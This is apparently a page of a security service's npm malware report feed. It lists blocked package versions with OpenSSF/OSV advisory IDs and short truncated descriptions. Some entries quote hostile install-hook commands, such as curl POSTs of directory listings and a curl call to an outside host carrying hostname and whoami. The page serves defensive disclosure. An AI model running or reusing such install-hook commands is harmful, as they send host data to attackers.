npm malware reports, with evidence.
Explore malware, protestware, install-hook abuse, staged payload carriers, crypto mining, and typosquatting. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision.
Security reports — page 593
Updated 24 Oct 2026, 18:06 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-5690 blocks this version. OSV/OpenSSF confirms ecto-spectral-leak-8d4e2@1.0.0 as malicious package MAL-2026-5690. Malicious code in ecto-spectral-lea...
OpenSSF/OSV malware advisory MAL-2026-5689 blocks this version. OSV/OpenSSF confirms ecto-rust-read-f3a9c1@1.0.2 as malicious package MAL-2026-5689. Malicious code in ecto-rust-read-f3a9c...
OpenSSF/OSV malware advisory MAL-2026-5689 blocks this version. OSV/OpenSSF confirms ecto-rust-read-f3a9c1@1.0.1 as malicious package MAL-2026-5689. Malicious code in ecto-rust-read-f3a9c...
OpenSSF/OSV malware advisory MAL-2026-5689 blocks this version. OSV/OpenSSF confirms ecto-rust-read-f3a9c1@1.0.0 as malicious package MAL-2026-5689. Malicious code in ecto-rust-read-f3a9c...
OpenSSF/OSV malware advisory MAL-2026-5686 blocks this version. OSV/OpenSSF confirms ecto-corsair-flag-x9m4@1.0.0 as malicious package MAL-2026-5686. Malicious code in ecto-corsair-flag-x...
OpenSSF/OSV malware advisory MAL-2026-5692 blocks this version. OSV/OpenSSF confirms ecto-win-flag-q2m7@1.0.1 as malicious package MAL-2026-5692. Malicious code in ecto-win-flag-q2m7 (npm)
OpenSSF/OSV malware advisory MAL-2026-5692 blocks this version. OSV/OpenSSF confirms ecto-win-flag-q2m7@1.0.0 as malicious package MAL-2026-5692. Malicious code in ecto-win-flag-q2m7 (npm)
OpenSSF/OSV malware advisory MAL-2026-5726 blocks this version. OSV/OpenSSF confirms ecto_module@100.0.0 as malicious package MAL-2026-5726. Malicious code in ecto_module (npm)
OpenSSF/OSV malware advisory MAL-2026-6077 blocks this version. package.json declares `preinstall: node index.js`, which fires automatically on `npm install`. index.js collects hostname (...
OpenSSF/OSV malware advisory MAL-2026-5895 blocks this version. OSV/OpenSSF confirms easyllmai@4.0.1 as malicious package MAL-2026-5895. Malicious code in easyllmai (npm)
OpenSSF/OSV malware advisory MAL-2026-5895 blocks this version. OSV/OpenSSF confirms easyllmai@3.0.1 as malicious package MAL-2026-5895. Malicious code in easyllmai (npm)
OpenSSF/OSV malware advisory MAL-2026-6461 blocks this version. package.json declares a postinstall lifecycle script that auto-executes on `npm install` and runs `curl -X POST -d "$(ls -l...
OpenSSF/OSV malware advisory MAL-2026-6459 blocks this version. package.json declares a postinstall lifecycle script that automatically runs on npm install and executes roughly 25 curl PO...
OpenSSF/OSV malware advisory MAL-2026-6459 blocks this version. package.json declares a postinstall lifecycle script that automatically runs on npm install and executes roughly 25 curl PO...
OpenSSF/OSV malware advisory MAL-2026-6459 blocks this version. package.json declares a postinstall lifecycle script that automatically runs on npm install and executes roughly 25 curl PO...
OpenSSF/OSV malware advisory MAL-2026-6459 blocks this version. package.json declares a postinstall lifecycle script that automatically runs on npm install and executes roughly 25 curl PO...
OpenSSF/OSV malware advisory MAL-2026-6459 blocks this version. package.json declares a postinstall lifecycle script that automatically runs on npm install and executes roughly 25 curl PO...
OpenSSF/OSV malware advisory MAL-2026-6459 blocks this version. package.json declares a postinstall lifecycle script that automatically runs on npm install and executes roughly 25 curl PO...
OpenSSF/OSV malware advisory MAL-2026-6459 blocks this version. package.json declares a postinstall lifecycle script that automatically runs on npm install and executes roughly 25 curl PO...
OpenSSF/OSV malware advisory MAL-2026-6459 blocks this version. package.json declares a postinstall lifecycle script that automatically runs on npm install and executes roughly 25 curl PO...
OpenSSF/OSV malware advisory MAL-2026-5979 blocks this version. OSV/OpenSSF confirms easy-day-js@1.11.22 as malicious package MAL-2026-5979. Malicious code in easy-day-js (npm)
OpenSSF/OSV malware advisory MAL-2026-5749 blocks this version. package.json declares a postinstall hook that runs `curl http://npm.wdf1.eyes.sh/pre?h=$(hostname)&u=&(whoami)` over plain...
OpenSSF/OSV malware advisory MAL-2026-4345 blocks this version. Part of a multi-package malicious campaign by npm author `toskypi`, `eo-terminal` is a fully-featured infostealer and remot...
OpenSSF/OSV malware advisory MAL-2026-4345 blocks this version. Part of a multi-package malicious campaign by npm author `toskypi`, `eo-terminal` is a fully-featured infostealer and remot...
OpenSSF/OSV malware advisory MAL-2026-5286 blocks this version. The OpenSSF Package Analysis project identified 'encrypted-archive' @ 99.0.0 (npm) as malicious.